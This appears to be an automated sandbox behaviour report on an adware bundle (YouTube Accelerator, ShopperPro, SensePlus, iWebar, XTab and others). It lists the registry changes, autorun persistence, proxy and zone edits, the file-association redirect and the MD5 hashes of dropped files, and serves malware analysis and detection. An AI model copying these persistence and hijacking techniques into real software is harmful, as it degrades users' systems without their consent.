[HKLM\SOFTWARE\Wow6432Node\Microsoft\RFC1156Agent\CurrentVersion\Parameters]
"TrapPollTimeMilliSecs" = "15000"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\pseKcc]
"(Default)" = "LIUkaRXT|SiWsfDH`LkAsXBDUCkC"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{03B3ED09D712B0615}" = "56 3E A8 0E 0B A2 A7 A6 41 06 53 98 78 A4 44 A3"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\cgcdxuSksc]
"(Default)" = "mA_vX[@|ipql`LRKtAe^~Eu"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\uqmpybcjdI]
"(Default)" = "KpKybWllh|ac`_w}Yu`fbISI`@Ntl"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{I3B3ED09D712B0615}" = "0E 00 00 00"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\FdUXjkIpvn]
"(Default)" = "R[vJVqJXaKtWCbYP"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\sehlsRMuplph]
"(Default)" = "}QJijLDlnGtvlM\Dt`aRLXEXtLli@u"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\Uojvoqeov]
"(Default)" = "F}FdcTzbnLZBznXQtn["

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\LdsE]
"(Default)" = "mncEDgoMD^EumhBjdoZbN"

The Application deletes the following value(s) in system registry:

The process YTAHEL~1.EXE:4024 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

The process 83f1ffec-6878-4cb8-b1d3-b27024f7054e-4.exe:4492 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Wow6432Node\SensePlus\Sxuc s6UHdkkBMI3TPbMDdOjupuw7F18Q7PshVRAk FZxDEu/apwrp/9MdF8gTh0dCgXajutsY2KOoFd bv1IitpbTes0RLNENToBGpPazaoliQi1tkegTAcOIGyiV3QRp6V6OquZlyL /e6vfFjGnQ2gaaJ1Jlo4GCXzibNflw=]
"llN1Jcd35X4oPnbdFkuoaACNUqQF3snJnuz/hEY7eN/KVqlSiUdbHUs0LaqrObNekoMAj 6UjKIgs U8d5qa1I/EEhPonbr1w3ffKbLitE1rN/cC9quJsxaJcPzDykUgzwFqrF/ Gzt 478ht9jhE3pvsTEzQ23gIYgcxI94mLs=" = "1"

[HKLM\SOFTWARE\Wow6432Node\Tempo]
"(Default)" = "tempo"

[HKLM\SOFTWARE\Wow6432Node\SensePlus\U/mwtMJQRCKR0dU2rxQ4oph6X45x6O83/tPa4qzbRFFQlpD8vi6EOqZi22NegCITusO1G3TtiH4LD Z8Lxftub6x5B8oXx7BwmBtVZA3jXV8s 2z06x6XpZkQN/5ATUtsPzEooip2Zh6xCXLYw dv uJG8jyegsaBUbTRn9nZDo=]
"Ul0n1X03IbQ6xiPBCEDslxZ9fsRrLJ/vqSZLr9gZ0O KUCestLVRWje2vR4RIlDDKH6ZKOwvlLyt17ra1z7xzZbKWwqNFFUjlmufcqRV4ch2iTPwfFjrdfz6c e4uUdC3qjqU0STqs6kBy2ggedKg6oa4w0h8SvBpRP2bxSQ61k=" = "1"

The Application deletes the following registry key(s):

[HKLM\SOFTWARE\Wow6432Node\Tempo]

The process 3513.tmp:3180 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

The process DCytaiesmt_smtyc_setup.exe:3784 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

The process DCytaiesmt_smtyc_setup.exe:3496 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

The process DCytaiesmt_smtyc_setup.exe:3468 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

The process DCytaiesmt_smtyc_setup.exe:3180 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

The process DCytaiesmt_smtyc_setup.exe:3404 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

The process DCytaiesmt_smtyc_setup.exe:2352 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

The process spbiu.exe:3624 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKU\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E]
"LanguageList" = "en-US, en"

[HKLM\SOFTWARE\ShopperPro\SPBIUpd]
"Ult" = "Type: REG_QWORD, Length: 8"

The process spbiu.exe:588 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\ShopperPro\SPBIUpd]
"Gcf" = "D9 91 CF EC EE 40 F4 7E 74 E4 CF FB 2F 99 75 C3"

[HKLM\SOFTWARE\ShopperPro\SPBIUpd\Users\Default]
"Ucf" = "AF 19 06 18 24 A7 78 A7 83 2B E1 77 84 81 A9 3B"

[HKLM\SOFTWARE\ShopperPro\SPBIUpd]
"Scf" = "9A 14 1E C6 5D 2A 73 C9 F3 C3 92 55 D6 C8 4A 15"

The process wscript.exe:5068 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"
"UNCAsIntranet" = "0"

The Application deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"
"IntranetName"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

The process GLBECE.tmp:3832 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Goobzo\YouTube Accelerator]
"InstallTime" = "1429690882"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Goobzo\YouTube Accelerator]
"ShowTrayMessage" = "0"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"ShowAds" = "1"

[HKCU\Software\Goobzo\YouTube Accelerator]
"(Default)" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\UserInfo]
"Newsletter" = "0"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"Aff" = "smtyc0_0_0_0_0,4609f35e-fff4-4797-87ba-058dbb8822ca,"

[HKCU\Software\Goobzo\YouTube Accelerator]
"ShowAds" = "1"

[HKCU\Software\Goobzo\Language\YouTubeAccelerator\Settings]
"CurrentLanguage" = "1033"

[HKCU\Software\Goobzo\YouTube Accelerator]
"DontShowAccelerationNotSupported" = "1"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\UserInfo]
"email" = ""

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\YouTube Accelerator]
"Publisher" = "Goobzo Ltd."

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"LspInstall" = "%Program Files% (x86)\YouTube Accelerator\"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\SharedDLLs\C:\Windows\system32]
"AniGIF.ocx" = "1"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"ZippedRules" = "1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\YouTube Accelerator]
"URLInfoAbout" = "http://www.youtubeaccelerator.com/support/"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"InstallTime" = "1429690882"
"DllInstall" = "%Program Files% (x86)\YouTube Accelerator\"

[HKCU\Software\Goobzo\YouTube Accelerator]
"Beta" = "0"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\YouTube Accelerator]
"DisplayIcon" = "%Program Files% (x86)\YouTube Accelerator\YouTubeAccelerator.exe,-0"
"InstallLocation" = "%Program Files% (x86)\YouTube Accelerator"

[HKCU\Software\Goobzo\YouTube Accelerator]
"HideAccList" = "0"
"ShowTrayIcon" = "0"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\YouTube Accelerator]
"HelpLink" = "http://www.youtubeaccelerator.com/about/"

[HKCU\Software\Goobzo\YouTube Accelerator]
"BuildNumber" = "102"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\YouTube Accelerator]
"UninstallString" = "%Program Files% (x86)\YouTube Accelerator\YTAUninstall.exe"

[HKCU\Software\Goobzo\YouTube Accelerator]
"Version" = "3.3.9.6"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\YouTube Accelerator]
"Contact" = "[email protected]"
"DisplayVersion" = "3396(build_102)"

[HKCU\Software\Goobzo\YouTube Accelerator\UserInfo]
"Newsletter" = "0"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\YouTube Accelerator]
"DisplayName" = "YouTube Accelerator"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"(Default)" = ""

[HKCU\Software\Goobzo\YouTube Accelerator]
"Aff" = "smtyc0_0_0_0_0,4609f35e-fff4-4797-87ba-058dbb8822ca,"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"Version" = "3.3.9.6"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MenuOrder\Start Menu2\Programs\YouTube Accelerator]
"Order" = "E0 80 00 00 00 20 00 00 0D C0 10 00 00 10 00 00"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"Beta" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Associations]
"Application" = "http://www.fileextensionpro.com/redir.aspx?s=smtyc0_0_0_0_0,4609f35e-fff4-4797-87ba-058dbb8822ca,&LangID=x&Ext=%s"

[HKCU\Software\Goobzo\YouTube Accelerator]
"RunFinishInstall" = "1"

[HKCU\Software\Goobzo\YouTube Accelerator\UserInfo]
"email" = ""

To automatically run itself each time Windows is booted, the Application adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"GOOBZOYouTubeAccelerator" = "%Program Files% (x86)\YouTube Accelerator\YouTubeAccelerator.exe"

The Application deletes the following registry key(s):

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Engine]

The Application deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Goobzo\YouTube Accelerator\UserInfo]
"tver"

[HKCU\Software\Goobzo\YouTube Accelerator]
"Br"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"BrName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"HideAccList"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Engine]
"Mode"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Goobzo\YouTube Accelerator]
"BrName"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"Br"
"ShowTrayIcon"

The Application disables automatic startup of the application by deleting the following autorun value:

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run]
"YouTubeAccelerator"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"GoobzoYouTubeAccelerator"

[HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce]
"VARemove"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run]
"GoobzoYouTubeAccelerator"

The process 7cdcf6e0-25e9-4bbd-8b96-9ebf02f10370-4.exe:4480 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Wow6432Node\Tempo]
"(Default)" = "tempo"

[HKLM\SOFTWARE\Wow6432Node\iWebar\U/mwtMJQRCKR0dU2rxQ4oph6X45x6O83/tPa4qzbRFFQlpD8vi6EOqZi22NegCITusO1G3TtiH4LD Z8Lxftub6x5B8oXx7BwmBtVZA3jXV8s 2z06x6XpZkQN/5ATUtsPzEooip2Zh6xCXLYw dv uJG8jyegsaBUbTRn9nZDo=]
"Ul0n1X03IbQ6xiPBCEDslxZ9fsRrLJ/vqSZLr9gZ0O KUCestLVRWje2vR4RIlDDKH6ZKOwvlLyt17ra1z7xzZbKWwqNFFUjlmufcqRV4ch2iTPwfFjrdfz6c e4uUdC3qjqU0STqs6kBy2ggedKg6oa4w0h8SvBpRP2bxSQ61k=" = "1"

[HKLM\SOFTWARE\Wow6432Node\iWebar\Sxuc s6UHdkkBMI3TPbMDdOjupuw7F18Q7PshVRAk FZxDEu/apwrp/9MdF8gTh0dCgXajutsY2KOoFd bv1IitpbTes0RLNENToBGpPazaoliQi1tkegTAcOIGyiV3QRp6V6OquZlyL /e6vfFjGnQ2gaaJ1Jlo4GCXzibNflw=]
"llN1Jcd35X4oPnbdFkuoaACNUqQF3snJnuz/hEY7eN/KVqlSiUdbHUs0LaqrObNekoMAj 6UjKIgs U8d5qa1I/EEhPonbr1w3ffKbLitE1rN/cC9quJsxaJcPzDykUgzwFqrF/ Gzt 478ht9jhE3pvsTEzQ23gIYgcxI94mLs=" = "1"

The Application deletes the following registry key(s):

[HKLM\SOFTWARE\Wow6432Node\Tempo]

The process taskeng.exe:2528 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\Handshake\{69C8058F-8FB1-4AEA-9C4C-5B4E6C200EB2}]
"data" = "4D 45 4F 57 01 00 00 00 E4 B7 BD 92 8B F2 A0 46"

The process ytaiesmt_smtyc_setup.exe:3388 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

The process %original file name%.exe:2364 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\System\CurrentControlSet\Control\Session Manager]
"PendingFileRenameOperations" = "\??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\biclient.exe,"

Dropped PE files

MD5	File path
fd2e658b7e92db6e548e10b410fcf908	c:\Program Files (x86)\LiveWPPUpdate\LiveUpdateWPP.exe
d683eae665d11ec28b7578f57eca5557	c:\Program Files (x86)\LiveWPPUpdate\LiveUpdateWPP_uninstaller.exe
1ad51367aec7ae1b9897137d823dece3	c:\Program Files (x86)\SensePlus\83f1ffec-6878-4cb8-b1d3-b27024f7054e-4.exe
389f9ff662976a16acad74f7a4416f0a	c:\Program Files (x86)\SensePlus\83f1ffec-6878-4cb8-b1d3-b27024f7054e-5.exe
204bbee125a032e48cd45bc1e20e9d99	c:\Program Files (x86)\SensePlus\Uninstall.exe
d430c03748e8f1dee4d3d0e214a8e149	c:\Program Files (x86)\SensePlus\utils.exe
c9e26b352098df8deb22f6339d9b2355	c:\Program Files (x86)\ShopperPro\JSDriver\1.42.0.1785\jsdrv.exe
f36b60c375c4dd4b8a3c679511df66d4	c:\Program Files (x86)\ShopperPro\JSDriver\1.42.0.1785\jsdrv.sys
c9e26b352098df8deb22f6339d9b2355	c:\Program Files (x86)\ShopperPro\JSDriver\jsdrv.exe
f36b60c375c4dd4b8a3c679511df66d4	c:\Program Files (x86)\ShopperPro\JSDriver\jsdrv.sys
3e39b715e767e8c9ae8eab5b196e3110	c:\Program Files (x86)\ShopperPro\SPRemove.exe
b416a7e60a3e07a461d9a3c70fc010d1	c:\Program Files (x86)\ShopperPro\ShopperPro.dll
76cd49d9b02203e2ec703c7b0a487d51	c:\Program Files (x86)\ShopperPro\ShopperPro.exe
6c6aef704ebc7d103467864914560991	c:\Program Files (x86)\ShopperPro\ShopperPro64.dll
9fbc3f31f2ea4908f6a9c3d4b564eaae	c:\Program Files (x86)\ShopperPro\Updater.exe
935bf11b38f5c90c69fff0730d716ac7	c:\Program Files (x86)\WebProtectorPlus\WebProtectorPlus.exe
8e3ce468b29c2e5419c24e4e1c060438	c:\Program Files (x86)\WebProtectorPlus\uninstall.exe
445752ec46020163bfbd5b6b56814428	c:\Program Files (x86)\WebProtector\WebProtector.dll
445752ec46020163bfbd5b6b56814428	c:\Program Files (x86)\WebProtector\WebProtector_new.dll
dc1fe169d711461c5c48769c12dcfa12	c:\Program Files (x86)\WebProtector\webprotector_uninstaller.exe
33a33e52e9c7db9063cbac82fa9e28d4	c:\Program Files (x86)\XTab\BrowerWatchCH.dll
9def3a62487338e892ce4fffa8efa5d2	c:\Program Files (x86)\XTab\BrowerWatchFF.dll
5785680870eff9ba7b4f58c726552013	c:\Program Files (x86)\XTab\BrowserAction.dll
7e4e734d5adbbc4026a5db2e63c29d40	c:\Program Files (x86)\XTab\CmdShell.exe
8c15f35314eadbe08375dd47ad62439a	c:\Program Files (x86)\XTab\HPNotify.exe
e6aac50b9fc19546c5e524c47be5d66d	c:\Program Files (x86)\XTab\IeWatchDog.dll
e98c5cfa4051bfa3e2cb0afb10ff4cab	c:\Program Files (x86)\XTab\ProtectService.exe
fc60e0ceb67207edd48ed4acbea5de98	c:\Program Files (x86)\XTab\SupTab.dll
3e29914113ec4b968ba5eb1f6d194a0a	c:\Program Files (x86)\XTab\msvcp110.dll
4ba25d2cbe1587a841dcfb8c8c4a6ea6	c:\Program Files (x86)\XTab\msvcr110.dll
ff73e8efe2b7f0f134dda89694299ff5	c:\Program Files (x86)\XTab\uninstall.exe
99762975ae78b591fa6699cc460bb5f7	c:\Program Files (x86)\YTAHelper\JSDriver\jsdrv.exe
43901c75bcf54be31a8f15bae77a3865	c:\Program Files (x86)\YTAHelper\JSDriver\jsdrv.sys
e0e06dca0f07ebaba0545450d0f69ade	c:\Program Files (x86)\YTAHelper\YTAHelper.dll
c254e02e1b6fe3b7f33426bebb9e6af2	c:\Program Files (x86)\YTAHelper\YTAHelper.exe
a3b46b4c5d373c51e6e489bb603dba9f	c:\Program Files (x86)\YTAHelper\YTAHelper64.dll
76f41068f2fa82523736c58c6a6a27db	c:\Program Files (x86)\YouTube Accelerator\Res.dll
973567b98cdfc147df4e60471d9df072	c:\Program Files (x86)\YouTube Accelerator\UNWISE.EXE
850e72f521667f04a1fa06bc92311b37	c:\Program Files (x86)\YouTube Accelerator\Updater.exe
29605c3fee628f62dea028a354425e3f	c:\Program Files (x86)\YouTube Accelerator\YTAHUninstall.exe
4a53830f2e9fa95a7873dcebd0249e80	c:\Program Files (x86)\YouTube Accelerator\YTAUninstall.exe
46e2c40e8adae15d5e3a164e7b65fe40	c:\Program Files (x86)\YouTube Accelerator\YouTubeAccelerator.exe
a77332904ccef3efc9dbb27bfc8dfd31	c:\Program Files (x86)\YouTube Accelerator\YouTubeAcceleratorService.exe
3f4049d8bf040812a96680c5a6b377fd	c:\Program Files (x86)\YouTube Accelerator\cabex.dll
f756379f1f0fbad6bcf53170aa804918	c:\Program Files (x86)\YouTube Accelerator\engine.dll
81baf300ca0dc9a3d557d0e84567b1a2	c:\Program Files (x86)\YouTube Accelerator\helper.dll
c014a1dddb4677f54f88efaaa492ddce	c:\Program Files (x86)\YouTube Accelerator\ipc.dll
f6ac21939884df5c0201cdf1ead06b90	c:\Program Files (x86)\YouTube Accelerator\lspinst.exe
2c3a467735e2d937ce44034869b43231	c:\Program Files (x86)\YouTube Accelerator\lspinst2.exe
a082e5473b2a9a4d846ed7ddf637ac76	c:\Program Files (x86)\YouTube Accelerator\sporder.dll
5e2c0de2f0f15923154293dea89d196b	c:\Program Files (x86)\YouTube Accelerator\testlsp.exe
39d9593e5c43d81fe9724fb0f7b16cc0	c:\Program Files (x86)\YouTube Accelerator\unelevate.exe
e0024c585767d4851de5e7331ac91ee5	c:\Program Files (x86)\YouTube Accelerator\xmldb.dll
c84cbb44c3aca460522eba9bd033cd62	c:\Program Files (x86)\YouTube Accelerator\ytalsp.dll
b6d3b1094a8fd469dc2d2d47d19d0eed	c:\Program Files (x86)\iWebar\7cdcf6e0-25e9-4bbd-8b96-9ebf02f10370-4.exe
f4b4fe321e3f34114690c8b66f166c10	c:\Program Files (x86)\iWebar\7cdcf6e0-25e9-4bbd-8b96-9ebf02f10370-5.exe
204bbee125a032e48cd45bc1e20e9d99	c:\Program Files (x86)\iWebar\Uninstall.exe
3afc10ee4f01fce054b6aa117baa9b2b	c:\Program Files (x86)\iWebar\utils.exe
1c7a12c29405bd42b15e22c06047e399	c:\Program Files\Common Files\ShopperPro\spbia.exe
99d35bec1578b54815014af9a1abb949	c:\Program Files\Common Files\ShopperPro\spbici32.dll
0024394cb8216bd79ff7a8ac1712d211	c:\Program Files\Common Files\ShopperPro\spbici64.dll
6928150d35dc73fca797e3b50f4b266d	c:\Program Files\Common Files\ShopperPro\spbii32.exe
e7aa362a679b911e7b67457593bfe197	c:\Program Files\Common Files\ShopperPro\spbii64.exe
ffeb91527ab0b2c37317836500bc18d7	c:\Program Files\Common Files\ShopperPro\spbiu.exe
5be693473d9535e44f633743d73a56e2	c:\Program Files\Common Files\ShopperPro\spbiw.sys
b416a7e60a3e07a461d9a3c70fc010d1	c:\ProgramData\ShopperPro\ShopperPro.dll
6c6aef704ebc7d103467864914560991	c:\ProgramData\ShopperPro\ShopperPro64.dll
f94557f8fd41731a3d180383a516fbe3	c:\ProgramData\WindowsMangerProtect\ProtectWindowsManager.exe
e0e06dca0f07ebaba0545450d0f69ade	c:\ProgramData\YTAHelper\YTAHelper.dll
a3b46b4c5d373c51e6e489bb603dba9f	c:\ProgramData\YTAHelper\YTAHelper64.dll
b416a7e60a3e07a461d9a3c70fc010d1	c:\Users\All Users\ShopperPro\ShopperPro.dll
6c6aef704ebc7d103467864914560991	c:\Users\All Users\ShopperPro\ShopperPro64.dll
f94557f8fd41731a3d180383a516fbe3	c:\Users\All Users\WindowsMangerProtect\ProtectWindowsManager.exe
e0e06dca0f07ebaba0545450d0f69ade	c:\Users\All Users\YTAHelper\YTAHelper.dll
a3b46b4c5d373c51e6e489bb603dba9f	c:\Users\All Users\YTAHelper\YTAHelper64.dll
ea0ca98847dc1a403ffec3be116e8b2f	c:\Users\"%CurrentUserName%"\AppData\Local\Installer\Install_22120\DCytaiesmt_smtyc_setup.exe
ea0ca98847dc1a403ffec3be116e8b2f	c:\Users\"%CurrentUserName%"\AppData\Local\Installer\Install_3136\DCytaiesmt_smtyc_setup.exe
a462d259e609f4c7e49781388216e29b	c:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\WebProtectPI[1].13
cf6d274bf9748a5169c2cabbf075bf1e	c:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\LiveUpdateWPP_is[1].exe
f9100dfbd139817794493c403b937c71	c:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\SetupWPP[1].exe
a462d259e609f4c7e49781388216e29b	c:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\WebProtectPI[1].13
016f5b55d05ad02b556b29b428fdee9b	c:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\webprotector_installer[1].exe
47a5f6c21c666caf535d18baf56f2d1b	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\3513.tmp
47a5f6c21c666caf535d18baf56f2d1b	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\6B7E.tmp
b3fdf6e7b0aecd48ca7e4921773fb606	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe
6ca71f0046dbb49d4aec20c15d92b5d1	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\ClientToMobilePlatform.exe
47a5f6c21c666caf535d18baf56f2d1b	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\FB2F.tmp
d65611fbc4da8cea4e886076bec82d1e	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\InstallGenieo.exe
80bec6a4304f8d4caca0231d2ef6dd61	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_17323\ins_iwebar.exe
a19cddd29a0825186bc72f12a7274ac7	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_17323\ins_sense.exe
34d8da575da8decd14eff373fd1a7033	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_17323\ins_shopperpro.exe
f8076da03b6b36fa1ec0bd5a082d8d95	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_17323\ins_yta.exe
45960b40c1ecb75ed5549a80049879e1	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\AniGIF.ocx
76f41068f2fa82523736c58c6a6a27db	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\Res.dll
29605c3fee628f62dea028a354425e3f	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YTAHUninstall.exe
6f4f8c2cb7e07436aa59a72c89fbaa4a	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YTAHelperSetup.exe
46e2c40e8adae15d5e3a164e7b65fe40	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YouTubeAccelerator.exe
a77332904ccef3efc9dbb27bfc8dfd31	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YouTubeAcceleratorService.exe
f756379f1f0fbad6bcf53170aa804918	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\engine.dll
81baf300ca0dc9a3d557d0e84567b1a2	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\helper.dll
c014a1dddb4677f54f88efaaa492ddce	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\ipc.dll
f6ac21939884df5c0201cdf1ead06b90	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\lspinst.exe
2c3a467735e2d937ce44034869b43231	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\lspinst2.exe
a082e5473b2a9a4d846ed7ddf637ac76	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\sporder.Dll
5e2c0de2f0f15923154293dea89d196b	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\testlsp.exe
39d9593e5c43d81fe9724fb0f7b16cc0	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\unelevate.exe
850e72f521667f04a1fa06bc92311b37	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\updater.exe
e0024c585767d4851de5e7331ac91ee5	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\xmldb.dll
c84cbb44c3aca460522eba9bd033cd62	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\ytalsp.dll
4a53830f2e9fa95a7873dcebd0249e80	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\ytauninstall.exe
ef7d1863f4980ab0c8bda142fee67f92	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\UpdateCheckerSetup.exe
80764229a410305724108417115b8ce8	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\WebProtectPD.exe
518879abe3170dabd172dfffcd165598	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe
ac8f7611f353ca9803fad5ff81900678	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\biclient.exe
3f4049d8bf040812a96680c5a6b377fd	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\cabex.dll
3a9ce8edf728d00a44376a75fe7b2aca	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi3EB6.tmp\AccDownload.dll
f0438a894f3a7e01a4aae8d1b5dd0289	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi3EB6.tmp\nsProcess.dll
ea0ca98847dc1a403ffec3be116e8b2f	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsnF8C1.tmp\DCytaiesmt_smtyc_setup.exe
